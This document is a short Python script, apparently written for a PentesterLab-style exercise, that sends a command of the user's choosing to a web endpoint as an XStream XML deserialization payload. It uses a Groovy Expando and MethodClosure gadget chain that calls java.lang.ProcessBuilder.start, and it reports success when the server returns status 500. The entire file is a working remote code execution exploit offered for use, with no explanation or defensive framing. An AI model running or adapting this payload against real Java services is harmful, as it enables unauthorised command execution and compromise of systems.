#!/usr/bin/python
import requests
import sys

s = requests.Session()
url = "http://ptl-cc61ae0c-dbac3e63.libcurl.so/createItem?name=offsec"

cmd = raw_input('cmd> ')
splitted = ""
for x in cmd.split(' '):
    splitted += "<string>{}</string>".format(x)

exploit = '''
<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando"/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                {}
              </command>
            </owner>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>
'''.format(splitted)

header= {
    'Content-Type': 'application/xml'
}

resp = s.post(url, data=exploit, headers=header)
if resp.status_code == 500:
    print 'Code successfully executed!'
else:
    print 'Ouups something goes wrong'
    sys.exit(1)

